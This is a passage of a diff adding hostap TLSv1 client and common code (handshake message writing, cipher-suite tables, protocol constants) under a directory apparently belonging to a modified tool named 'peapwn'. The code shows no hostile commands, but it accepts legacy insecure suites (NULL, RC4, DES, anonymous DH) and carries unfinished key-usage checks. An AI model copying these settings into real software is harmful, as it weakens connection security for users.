* RFC 2246: 7.4.3 and 7.4.8: + * Signature signature + * + * RSA: + * digitally-signed struct { + * opaque md5_hash[16]; + * opaque sha_hash[20]; + * }; + * + * DSA: + * digitally-signed struct { + * opaque sha_hash[20]; + * }; + * + * The hash values are calculated over all handshake messages sent or + * received starting at ClientHello up to, but not including, this + * CertificateVerify message, including the type and length fields of + * the handshake messages. + */ + + hpos = hash; + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version == TLS_VERSION_1_2) { + hlen = SHA256_MAC_LEN; + if (conn->verify.sha256_cert == NULL || + crypto_hash_finish(conn->verify.sha256_cert, hpos, &hlen) < + 0) { + conn->verify.sha256_cert = NULL; + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha256_cert = NULL; + + /* + * RFC 3447, A.2.4 RSASSA-PKCS1-v1_5 + * + * DigestInfo ::= SEQUENCE { + * digestAlgorithm DigestAlgorithm, + * digest OCTET STRING + * } + * + * SHA-256 OID: sha256WithRSAEncryption ::= {pkcs-1 11} + * + * DER encoded DigestInfo for SHA256 per RFC 3447: + * 30 31 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20 || + * H + */ + os_memmove(hash + 19, hash, hlen); + hlen += 19; + os_memcpy(hash, "\x30\x31\x30\x0d\x06\x09\x60\x86\x48\x01\x65" + "\x03\x04\x02\x01\x05\x00\x04\x20", 19); + } else { +#endif /* CONFIG_TLSV12 */ + + if (alg == SIGN_ALG_RSA) { + hlen = MD5_MAC_LEN; + if (conn->verify.md5_cert == NULL || + crypto_hash_finish(conn->verify.md5_cert, hpos, &hlen) < 0) + { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.md5_cert = NULL; + crypto_hash_finish(conn->verify.sha1_cert, NULL, NULL); + conn->verify.sha1_cert = NULL; + return -1; + } + hpos += MD5_MAC_LEN; + } else + crypto_hash_finish(conn->verify.md5_cert, NULL, NULL); + + conn->verify.md5_cert = NULL; + hlen = SHA1_MAC_LEN; + if (conn->verify.sha1_cert == NULL || + crypto_hash_finish(conn->verify.sha1_cert, hpos, &hlen) < 0) { + conn->verify.sha1_cert = NULL; + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha1_cert = NULL; + + if (alg == SIGN_ALG_RSA) + hlen += MD5_MAC_LEN; + +#ifdef CONFIG_TLSV12 + } +#endif /* CONFIG_TLSV12 */ + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: CertificateVerify hash", hash, hlen); + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version >= TLS_VERSION_1_2) { + /* + * RFC 5246, 4.7: + * TLS v1.2 adds explicit indication of the used signature and + * hash algorithms. + * + * struct { + * HashAlgorithm hash; + * SignatureAlgorithm signature; + * } SignatureAndHashAlgorithm; + */ + *pos++ = TLS_HASH_ALG_SHA256; + *pos++ = TLS_SIGN_ALG_RSA; + } +#endif /* CONFIG_TLSV12 */ + + /* + * RFC 2246, 4.7: + * In digital signing, one-way hash functions are used as input for a + * signing algorithm. A digitally-signed element is encoded as an + * opaque vector <0..2^16-1>, where the length is specified by the + * signing algorithm and key. + * + * In RSA signing, a 36-byte structure of two hashes (one SHA and one + * MD5) is signed (encrypted with the private key). It is encoded with + * PKCS #1 block type 0 or type 1 as described in [PKCS1]. + */ + signed_start = pos; /* length to be filled */ + pos += 2; + clen = end - pos; + if (conn->cred == NULL || + crypto_private_key_sign_pkcs1(conn->cred->key, hash, hlen, + pos, &clen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to sign hash (PKCS #1)"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + WPA_PUT_BE16(signed_start, clen); + + pos += clen; + + WPA_PUT_BE24(hs_length, pos - hs_length - 3); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + rhdr, end - rhdr, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate a record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + pos = rhdr + rlen; + + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + *msgpos = pos; + + return 0; +} + + +static int tls_write_client_change_cipher_spec(struct tlsv1_client *conn, + u8 **msgpos, u8 *end) +{ + size_t rlen; + u8 payload[1]; + + wpa_printf(MSG_DEBUG, "TLSv1: Send ChangeCipherSpec"); + + payload[0] = TLS_CHANGE_CIPHER_SPEC; + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC, + *msgpos, end - *msgpos, payload, sizeof(payload), + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + if (tlsv1_record_change_write_cipher(&conn->rl) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to set write cipher for " + "record layer"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + *msgpos += rlen; + + return 0; +} + + +static int tls_write_client_finished(struct tlsv1_client *conn, + u8 **msgpos, u8 *end) +{ + u8 *pos, *hs_start; + size_t rlen, hlen; + u8 verify_data[1 + 3 + TLS_VERIFY_DATA_LEN]; + u8 hash[MD5_MAC_LEN + SHA1_MAC_LEN]; + + wpa_printf(MSG_DEBUG, "TLSv1: Send Finished"); + + /* Encrypted Handshake Message: Finished */ + +#ifdef CONFIG_TLSV12 + if (conn->rl.tls_version >= TLS_VERSION_1_2) { + hlen = SHA256_MAC_LEN; + if (conn->verify.sha256_client == NULL || + crypto_hash_finish(conn->verify.sha256_client, hash, &hlen) + < 0) { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.sha256_client = NULL; + return -1; + } + conn->verify.sha256_client = NULL; + } else { +#endif /* CONFIG_TLSV12 */ + + hlen = MD5_MAC_LEN; + if (conn->verify.md5_client == NULL || + crypto_hash_finish(conn->verify.md5_client, hash, &hlen) < 0) { + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + conn->verify.md5_client = NULL; + crypto_hash_finish(conn->verify.sha1_client, NULL, NULL); + conn->verify.sha1_client = NULL; + return -1; + } + conn->verify.md5_client = NULL; + hlen = SHA1_MAC_LEN; + if (conn->verify.sha1_client == NULL || + crypto_hash_finish(conn->verify.sha1_client, hash + MD5_MAC_LEN, + &hlen) < 0) { + conn->verify.sha1_client = NULL; + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + conn->verify.sha1_client = NULL; + hlen = MD5_MAC_LEN + SHA1_MAC_LEN; + +#ifdef CONFIG_TLSV12 + } +#endif /* CONFIG_TLSV12 */ + + if (tls_prf(conn->rl.tls_version, + conn->master_secret, TLS_MASTER_SECRET_LEN, + "client finished", hash, hlen, + verify_data + 1 + 3, TLS_VERIFY_DATA_LEN)) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to generate verify_data"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "TLSv1: verify_data (client)", + verify_data + 1 + 3, TLS_VERIFY_DATA_LEN); + + /* Handshake */ + pos = hs_start = verify_data; + /* HandshakeType msg_type */ + *pos++ = TLS_HANDSHAKE_TYPE_FINISHED; + /* uint24 length */ + WPA_PUT_BE24(pos, TLS_VERIFY_DATA_LEN); + pos += 3; + pos += TLS_VERIFY_DATA_LEN; /* verify_data already in place */ + tls_verify_hash_add(&conn->verify, hs_start, pos - hs_start); + + if (tlsv1_record_send(&conn->rl, TLS_CONTENT_TYPE_HANDSHAKE, + *msgpos, end - *msgpos, hs_start, pos - hs_start, + &rlen) < 0) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to create a record"); + tls_alert(conn, TLS_ALERT_LEVEL_FATAL, + TLS_ALERT_INTERNAL_ERROR); + return -1; + } + + *msgpos += rlen; + + return 0; +} + + +static u8 * tls_send_client_key_exchange(struct tlsv1_client *conn, + size_t *out_len) +{ + u8 *msg, *end, *pos; + size_t msglen; + + *out_len = 0; + + msglen = 2000; + if (conn->certificate_requested) + msglen += tls_client_cert_chain_der_len(conn); + + msg = os_malloc(msglen); + if (msg == NULL) + return NULL; + + pos = msg; + end = msg + msglen; + + if (conn->certificate_requested) { + if (tls_write_client_certificate(conn, &pos, end) < 0) { + os_free(msg); + return NULL; + } + } + + if (tls_write_client_key_exchange(conn, &pos, end) < 0 || + (conn->certificate_requested && conn->cred && conn->cred->key && + tls_write_client_certificate_verify(conn, &pos, end) < 0) || + tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || + tls_write_client_finished(conn, &pos, end) < 0) { + os_free(msg); + return NULL; + } + + *out_len = pos - msg; + + conn->state = SERVER_CHANGE_CIPHER_SPEC; + + return msg; +} + + +static u8 * tls_send_change_cipher_spec(struct tlsv1_client *conn, + size_t *out_len) +{ + u8 *msg, *end, *pos; + + *out_len = 0; + + msg = os_malloc(1000); + if (msg == NULL) + return NULL; + + pos = msg; + end = msg + 1000; + + if (tls_write_client_change_cipher_spec(conn, &pos, end) < 0 || + tls_write_client_finished(conn, &pos, end) < 0) { + os_free(msg); + return NULL; + } + + *out_len = pos - msg; + + wpa_printf(MSG_DEBUG, "TLSv1: Session resumption completed " + "successfully"); + conn->state = ESTABLISHED; + + return msg; +} + + +u8 * tlsv1_client_handshake_write(struct tlsv1_client *conn, size_t *out_len, + int no_appl_data) +{ + switch (conn->state) { + case CLIENT_KEY_EXCHANGE: + return tls_send_client_key_exchange(conn, out_len); + case CHANGE_CIPHER_SPEC: + return tls_send_change_cipher_spec(conn, out_len); + case ACK_FINISHED: + wpa_printf(MSG_DEBUG, "TLSv1: Handshake completed " + "successfully"); + conn->state = ESTABLISHED; + *out_len = 0; + if (no_appl_data) { + /* Need to return something to get final TLS ACK. */ + return os_malloc(1); + } + return NULL; + default: + wpa_printf(MSG_DEBUG, "TLSv1: Unexpected state %d while " + "generating reply", conn->state); + return NULL; + } +} + + +u8 * tlsv1_client_send_alert(struct tlsv1_client *conn, u8 level, + u8 description, size_t *out_len) +{ + u8 *alert, *pos, *length; + + wpa_printf(MSG_DEBUG, "TLSv1: Send Alert(%d:%d)", level, description); + *out_len = 0; + + alert = os_malloc(10); + if (alert == NULL) + return NULL; + + pos = alert; + + /* TLSPlaintext */ + /* ContentType type */ + *pos++ = TLS_CONTENT_TYPE_ALERT; + /* ProtocolVersion version */ + WPA_PUT_BE16(pos, conn->rl.tls_version ? conn->rl.tls_version : + TLS_VERSION); + pos += 2; + /* uint16 length (to be filled) */ + length = pos; + pos += 2; + /* opaque fragment[TLSPlaintext.length] */ + + /* Alert */ + /* AlertLevel level */ + *pos++ = level; + /* AlertDescription description */ + *pos++ = description; + + WPA_PUT_BE16(length, pos - length - 2); + *out_len = pos - alert; + + return alert; +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_common.c b/peapwn/mods/hostap/src/tls/tlsv1_common.c new file mode 100644 index 000000000..4578b2272 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_common.c @@ -0,0 +1,321 @@ +/* + * TLSv1 common routines + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/sha1.h" +#include "crypto/sha256.h" +#include "x509v3.h" +#include "tlsv1_common.h" + + +/* + * TODO: + * RFC 2246 Section 9: Mandatory to implement TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA + * Add support for commonly used cipher suites; don't bother with exportable + * suites. + */ + +static const struct tls_cipher_suite tls_cipher_suites[] = { + { TLS_NULL_WITH_NULL_NULL, TLS_KEY_X_NULL, TLS_CIPHER_NULL, + TLS_HASH_NULL }, + { TLS_RSA_WITH_RC4_128_MD5, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, + TLS_HASH_MD5 }, + { TLS_RSA_WITH_RC4_128_SHA, TLS_KEY_X_RSA, TLS_CIPHER_RC4_128, + TLS_HASH_SHA }, + { TLS_RSA_WITH_DES_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_DES_CBC, + TLS_HASH_SHA }, + { TLS_RSA_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_RSA, + TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, + { TLS_DH_anon_WITH_RC4_128_MD5, TLS_KEY_X_DH_anon, + TLS_CIPHER_RC4_128, TLS_HASH_MD5 }, + { TLS_DH_anon_WITH_DES_CBC_SHA, TLS_KEY_X_DH_anon, + TLS_CIPHER_DES_CBC, TLS_HASH_SHA }, + { TLS_DH_anon_WITH_3DES_EDE_CBC_SHA, TLS_KEY_X_DH_anon, + TLS_CIPHER_3DES_EDE_CBC, TLS_HASH_SHA }, + { TLS_RSA_WITH_AES_128_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_128_CBC, + TLS_HASH_SHA }, + { TLS_DH_anon_WITH_AES_128_CBC_SHA, TLS_KEY_X_DH_anon, + TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA }, + { TLS_RSA_WITH_AES_256_CBC_SHA, TLS_KEY_X_RSA, TLS_CIPHER_AES_256_CBC, + TLS_HASH_SHA }, + { TLS_DH_anon_WITH_AES_256_CBC_SHA, TLS_KEY_X_DH_anon, + TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA }, + { TLS_RSA_WITH_AES_128_CBC_SHA256, TLS_KEY_X_RSA, + TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA256 }, + { TLS_RSA_WITH_AES_256_CBC_SHA256, TLS_KEY_X_RSA, + TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA256 }, + { TLS_DH_anon_WITH_AES_128_CBC_SHA256, TLS_KEY_X_DH_anon, + TLS_CIPHER_AES_128_CBC, TLS_HASH_SHA256 }, + { TLS_DH_anon_WITH_AES_256_CBC_SHA256, TLS_KEY_X_DH_anon, + TLS_CIPHER_AES_256_CBC, TLS_HASH_SHA256 } +}; + +#define NUM_TLS_CIPHER_SUITES ARRAY_SIZE(tls_cipher_suites) + + +static const struct tls_cipher_data tls_ciphers[] = { + { TLS_CIPHER_NULL, TLS_CIPHER_STREAM, 0, 0, 0, + CRYPTO_CIPHER_NULL }, + { TLS_CIPHER_IDEA_CBC, TLS_CIPHER_BLOCK, 16, 16, 8, + CRYPTO_CIPHER_NULL }, + { TLS_CIPHER_RC2_CBC_40, TLS_CIPHER_BLOCK, 5, 16, 0, + CRYPTO_CIPHER_ALG_RC2 }, + { TLS_CIPHER_RC4_40, TLS_CIPHER_STREAM, 5, 16, 0, + CRYPTO_CIPHER_ALG_RC4 }, + { TLS_CIPHER_RC4_128, TLS_CIPHER_STREAM, 16, 16, 0, + CRYPTO_CIPHER_ALG_RC4 }, + { TLS_CIPHER_DES40_CBC, TLS_CIPHER_BLOCK, 5, 8, 8, + CRYPTO_CIPHER_ALG_DES }, + { TLS_CIPHER_DES_CBC, TLS_CIPHER_BLOCK, 8, 8, 8, + CRYPTO_CIPHER_ALG_DES }, + { TLS_CIPHER_3DES_EDE_CBC, TLS_CIPHER_BLOCK, 24, 24, 8, + CRYPTO_CIPHER_ALG_3DES }, + { TLS_CIPHER_AES_128_CBC, TLS_CIPHER_BLOCK, 16, 16, 16, + CRYPTO_CIPHER_ALG_AES }, + { TLS_CIPHER_AES_256_CBC, TLS_CIPHER_BLOCK, 32, 32, 16, + CRYPTO_CIPHER_ALG_AES } +}; + +#define NUM_TLS_CIPHER_DATA ARRAY_SIZE(tls_ciphers) + + +/** + * tls_get_cipher_suite - Get TLS cipher suite + * @suite: Cipher suite identifier + * Returns: Pointer to the cipher data or %NULL if not found + */ +const struct tls_cipher_suite * tls_get_cipher_suite(u16 suite) +{ + size_t i; + for (i = 0; i < NUM_TLS_CIPHER_SUITES; i++) + if (tls_cipher_suites[i].suite == suite) + return &tls_cipher_suites[i]; + return NULL; +} + + +const struct tls_cipher_data * tls_get_cipher_data(tls_cipher cipher) +{ + size_t i; + for (i = 0; i < NUM_TLS_CIPHER_DATA; i++) + if (tls_ciphers[i].cipher == cipher) + return &tls_ciphers[i]; + return NULL; +} + + +int tls_server_key_exchange_allowed(tls_cipher cipher) +{ + const struct tls_cipher_suite *suite; + + /* RFC 2246, Section 7.4.3 */ + suite = tls_get_cipher_suite(cipher); + if (suite == NULL) + return 0; + + switch (suite->key_exchange) { + case TLS_KEY_X_DHE_DSS: + case TLS_KEY_X_DHE_DSS_EXPORT: + case TLS_KEY_X_DHE_RSA: + case TLS_KEY_X_DHE_RSA_EXPORT: + case TLS_KEY_X_DH_anon_EXPORT: + case TLS_KEY_X_DH_anon: + return 1; + case TLS_KEY_X_RSA_EXPORT: + return 1 /* FIX: public key len > 512 bits */; + default: + return 0; + } +} + + +/** + * tls_parse_cert - Parse DER encoded X.509 certificate and get public key + * @buf: ASN.1 DER encoded certificate + * @len: Length of the buffer + * @pk: Buffer for returning the allocated public key + * Returns: 0 on success, -1 on failure + * + * This functions parses an ASN.1 DER encoded X.509 certificate and retrieves + * the public key from it. The caller is responsible for freeing the public key + * by calling crypto_public_key_free(). + */ +int tls_parse_cert(const u8 *buf, size_t len, struct crypto_public_key **pk) +{ + struct x509_certificate *cert; + + wpa_hexdump(MSG_MSGDUMP, "TLSv1: Parse ASN.1 DER certificate", + buf, len); + + *pk = crypto_public_key_from_cert(buf, len); + if (*pk) + return 0; + + cert = x509_certificate_parse(buf, len); + if (cert == NULL) { + wpa_printf(MSG_DEBUG, "TLSv1: Failed to parse X.509 " + "certificate"); + return -1; + } + + /* TODO + * verify key usage (must allow encryption) + * + * All certificate profiles, key and cryptographic formats are + * defined by the IETF PKIX working group [PKIX]. When a key + * usage extension is present, the digitalSignature bit must be + * set for the key to be eligible for signing, as described + * above, and the keyEncipherment bit must be present to allow + * encryption, as described above. The keyAgreement bit must be + * set on Diffie-Hellman certificates. (PKIX: RFC 3280) + */ + + *pk = crypto_public_key_import(cert->public_key, cert->public_key_len); + x509_certificate_free(cert); + + if (*pk == NULL) { + wpa_printf(MSG_ERROR, "TLSv1: Failed to import " + "server public key"); + return -1; + } + + return 0; +} + + +int tls_verify_hash_init(struct tls_verify_hash *verify) +{ + tls_verify_hash_free(verify); + verify->md5_client = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); + verify->md5_server = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); + verify->md5_cert = crypto_hash_init(CRYPTO_HASH_ALG_MD5, NULL, 0); + verify->sha1_client = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); + verify->sha1_server = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); + verify->sha1_cert = crypto_hash_init(CRYPTO_HASH_ALG_SHA1, NULL, 0); + if (verify->md5_client == NULL || verify->md5_server == NULL || + verify->md5_cert == NULL || verify->sha1_client == NULL || + verify->sha1_server == NULL || verify->sha1_cert == NULL) { + tls_verify_hash_free(verify); + return -1; + } +#ifdef CONFIG_TLSV12 + verify->sha256_client = crypto_hash_init(CRYPTO_HASH_ALG_SHA256, NULL, + 0); + verify->sha256_server = crypto_hash_init(CRYPTO_HASH_ALG_SHA256, NULL, + 0); + verify->sha256_cert = crypto_hash_init(CRYPTO_HASH_ALG_SHA256, NULL, + 0); + if (verify->sha256_client == NULL || verify->sha256_server == NULL || + verify->sha256_cert == NULL) { + tls_verify_hash_free(verify); + return -1; + } +#endif /* CONFIG_TLSV12 */ + return 0; +} + + +void tls_verify_hash_add(struct tls_verify_hash *verify, const u8 *buf, + size_t len) +{ + if (verify->md5_client && verify->sha1_client) { + crypto_hash_update(verify->md5_client, buf, len); + crypto_hash_update(verify->sha1_client, buf, len); + } + if (verify->md5_server && verify->sha1_server) { + crypto_hash_update(verify->md5_server, buf, len); + crypto_hash_update(verify->sha1_server, buf, len); + } + if (verify->md5_cert && verify->sha1_cert) { + crypto_hash_update(verify->md5_cert, buf, len); + crypto_hash_update(verify->sha1_cert, buf, len); + } +#ifdef CONFIG_TLSV12 + if (verify->sha256_client) + crypto_hash_update(verify->sha256_client, buf, len); + if (verify->sha256_server) + crypto_hash_update(verify->sha256_server, buf, len); + if (verify->sha256_cert) + crypto_hash_update(verify->sha256_cert, buf, len); +#endif /* CONFIG_TLSV12 */ +} + + +void tls_verify_hash_free(struct tls_verify_hash *verify) +{ + crypto_hash_finish(verify->md5_client, NULL, NULL); + crypto_hash_finish(verify->md5_server, NULL, NULL); + crypto_hash_finish(verify->md5_cert, NULL, NULL); + crypto_hash_finish(verify->sha1_client, NULL, NULL); + crypto_hash_finish(verify->sha1_server, NULL, NULL); + crypto_hash_finish(verify->sha1_cert, NULL, NULL); + verify->md5_client = NULL; + verify->md5_server = NULL; + verify->md5_cert = NULL; + verify->sha1_client = NULL; + verify->sha1_server = NULL; + verify->sha1_cert = NULL; +#ifdef CONFIG_TLSV12 + crypto_hash_finish(verify->sha256_client, NULL, NULL); + crypto_hash_finish(verify->sha256_server, NULL, NULL); + crypto_hash_finish(verify->sha256_cert, NULL, NULL); + verify->sha256_client = NULL; + verify->sha256_server = NULL; + verify->sha256_cert = NULL; +#endif /* CONFIG_TLSV12 */ +} + + +int tls_version_ok(u16 ver) +{ + if (ver == TLS_VERSION_1) + return 1; +#ifdef CONFIG_TLSV11 + if (ver == TLS_VERSION_1_1) + return 1; +#endif /* CONFIG_TLSV11 */ +#ifdef CONFIG_TLSV12 + if (ver == TLS_VERSION_1_2) + return 1; +#endif /* CONFIG_TLSV12 */ + + return 0; +} + + +const char * tls_version_str(u16 ver) +{ + switch (ver) { + case TLS_VERSION_1: + return "1.0"; + case TLS_VERSION_1_1: + return "1.1"; + case TLS_VERSION_1_2: + return "1.2"; + } + + return "?"; +} + + +int tls_prf(u16 ver, const u8 *secret, size_t secret_len, const char *label, + const u8 *seed, size_t seed_len, u8 *out, size_t outlen) +{ +#ifdef CONFIG_TLSV12 + if (ver >= TLS_VERSION_1_2) { + tls_prf_sha256(secret, secret_len, label, seed, seed_len, + out, outlen); + return 0; + } +#endif /* CONFIG_TLSV12 */ + + return tls_prf_sha1_md5(secret, secret_len, label, seed, seed_len, out, + outlen); +} diff --git a/peapwn/mods/hostap/src/tls/tlsv1_common.h b/peapwn/mods/hostap/src/tls/tlsv1_common.h new file mode 100644 index 000000000..f28c0cdc4 --- /dev/null +++ b/peapwn/mods/hostap/src/tls/tlsv1_common.h @@ -0,0 +1,261 @@ +/* + * TLSv1 common definitions + * Copyright (c) 2006-2011, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef TLSV1_COMMON_H +#define TLSV1_COMMON_H + +#include "crypto/crypto.h" + +#define TLS_VERSION_1 0x0301 /* TLSv1 */ +#define TLS_VERSION_1_1 0x0302 /* TLSv1.1 */ +#define TLS_VERSION_1_2 0x0303 /* TLSv1.2 */ +#ifdef CONFIG_TLSV12 +#define TLS_VERSION TLS_VERSION_1_2 +#else /* CONFIG_TLSV12 */ +#ifdef CONFIG_TLSV11 +#define TLS_VERSION TLS_VERSION_1_1 +#else /* CONFIG_TLSV11 */ +#define TLS_VERSION TLS_VERSION_1 +#endif /* CONFIG_TLSV11 */ +#endif /* CONFIG_TLSV12 */ +#define TLS_RANDOM_LEN 32 +#define TLS_PRE_MASTER_SECRET_LEN 48 +#define TLS_MASTER_SECRET_LEN 48 +#define TLS_SESSION_ID_MAX_LEN 32 +#define TLS_VERIFY_DATA_LEN 12 + +/* HandshakeType */ +enum { + TLS_HANDSHAKE_TYPE_HELLO_REQUEST = 0, + TLS_HANDSHAKE_TYPE_CLIENT_HELLO = 1, + TLS_HANDSHAKE_TYPE_SERVER_HELLO = 2, + TLS_HANDSHAKE_TYPE_NEW_SESSION_TICKET = 4 /* RFC 4507 */, + TLS_HANDSHAKE_TYPE_CERTIFICATE = 11, + TLS_HANDSHAKE_TYPE_SERVER_KEY_EXCHANGE = 12, + TLS_HANDSHAKE_TYPE_CERTIFICATE_REQUEST = 13, + TLS_HANDSHAKE_TYPE_SERVER_HELLO_DONE = 14, + TLS_HANDSHAKE_TYPE_CERTIFICATE_VERIFY = 15, + TLS_HANDSHAKE_TYPE_CLIENT_KEY_EXCHANGE = 16, + TLS_HANDSHAKE_TYPE_FINISHED = 20, + TLS_HANDSHAKE_TYPE_CERTIFICATE_URL = 21 /* RFC 4366 */, + TLS_HANDSHAKE_TYPE_CERTIFICATE_STATUS = 22 /* RFC 4366 */ +}; + +/* CipherSuite */ +#define TLS_NULL_WITH_NULL_NULL 0x0000 /* RFC 2246 */ +#define TLS_RSA_WITH_NULL_MD5 0x0001 /* RFC 2246 */ +#define TLS_RSA_WITH_NULL_SHA 0x0002 /* RFC 2246 */ +#define TLS_RSA_EXPORT_WITH_RC4_40_MD5 0x0003 /* RFC 2246 */ +#define TLS_RSA_WITH_RC4_128_MD5 0x0004 /* RFC 2246 */ +#define TLS_RSA_WITH_RC4_128_SHA 0x0005 /* RFC 2246 */ +#define TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 0x0006 /* RFC 2246 */ +#define TLS_RSA_WITH_IDEA_CBC_SHA 0x0007 /* RFC 2246 */ +#define TLS_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0008 /* RFC 2246 */ +#define TLS_RSA_WITH_DES_CBC_SHA 0x0009 /* RFC 2246 */ +#define TLS_RSA_WITH_3DES_EDE_CBC_SHA 0x000A /* RFC 2246 */ +#define TLS_DH_DSS_EXPORT_WITH_DES40_CBC_SHA 0x000B /* RFC 2246 */ +#define TLS_DH_DSS_WITH_DES_CBC_SHA 0x000C /* RFC 2246 */ +#define TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA 0x000D /* RFC 2246 */ +#define TLS_DH_RSA_EXPORT_WITH_DES40_CBC_SHA 0x000E /* RFC 2246 */ +#define TLS_DH_RSA_WITH_DES_CBC_SHA 0x000F /* RFC 2246 */ +#define TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA 0x0010 /* RFC 2246 */ +#define TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA 0x0011 /* RFC 2246 */ +#define TLS_DHE_DSS_WITH_DES_CBC_SHA 0x0012 /* RFC 2246 */ +#define TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA 0x0013 /* RFC 2246 */ +#define TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA 0x0014 /* RFC 2246 */ +#define TLS_DHE_RSA_WITH_DES_CBC_SHA 0x0015 /* RFC 2246 */ +#define TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA 0x0016 /* RFC 2246 */ +#define TLS_DH_anon_EXPORT_WITH_RC4_40_MD5 0x0017 /* RFC 2246 */ +#define TLS_DH_anon_WITH_RC4_128_MD5 0x0018 /* RFC 2246 */ +#define TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA 0x0019 /* RFC 2246 */ +#define TLS_DH_anon_WITH_DES_CBC_SHA 0x001A /* RFC 2246 */ +#define TLS_DH_anon_WITH_3DES_EDE_CBC_SHA 0x001B /* RFC 2246 */ +#define TLS_RSA_WITH_AES_128_CBC_SHA 0x002F /* RFC 3268 */ +#define TLS_DH_DSS_WITH_AES_128_CBC_SHA 0x0030 /* RFC 3268 */ +#define TLS_DH_RSA_WITH_AES_128_CBC_SHA 0x0031 /* RFC 3268 */ +#define TLS_DHE_DSS_WITH_AES_128_CBC_SHA 0x0032 /* RFC 3268 */ +#define TLS_DHE_RSA_WITH_AES_128_CBC_SHA 0x0033 /* RFC 3268 */ +#define TLS_DH_anon_WITH_AES_128_CBC_SHA 0x0034 /* RFC 3268 */ +#define TLS_RSA_WITH_AES_256_CBC_SHA 0x0035 /* RFC 3268 */ +#define TLS_DH_DSS_WITH_AES_256_CBC_SHA 0x0036 /* RFC 3268 */ +#define TLS_DH_RSA_WITH_AES_256_CBC_SHA 0x0037 /* RFC 3268 */ +#define TLS_DHE_DSS_WITH_AES_256_CBC_SHA 0x0038 /* RFC 3268 */ +#define TLS_DHE_RSA_WITH_AES_256_CBC_SHA 0x0039 /* RFC 3268 */ +#define TLS_DH_anon_WITH_AES_256_CBC_SHA 0x003A /* RFC 3268 */ +#define TLS_RSA_WITH_NULL_SHA256 0x003B /* RFC 5246 */ +#define TLS_RSA_WITH_AES_128_CBC_SHA256 0x003C /* RFC 5246 */ +#define TLS_RSA_WITH_AES_256_CBC_SHA256 0x003D /* RFC 5246 */ +#define TLS_DH_DSS_WITH_AES_128_CBC_SHA256 0x003E /* RFC 5246 */ +#define TLS_DH_RSA_WITH_AES_128_CBC_SHA256 0x003F /* RFC 5246 */ +#define TLS_DHE_DSS_WITH_AES_128_CBC_SHA256 0x0040 /* RFC 5246 */ +#define TLS_DHE_RSA_WITH_AES_128_CBC_SHA256 0x0067 /* RFC 5246 */ +#define TLS_DH_DSS_WITH_AES_256_CBC_SHA256 0x0068 /* RFC 5246 */ +#define TLS_DH_RSA_WITH_AES_256_CBC_SHA256 0x0069 /* RFC 5246 */ +#define TLS_DHE_DSS_WITH_AES_256_CBC_SHA256 0x006A /* RFC 5246 */ +#define TLS_DHE_RSA_WITH_AES_256_CBC_SHA256 0x006B /* 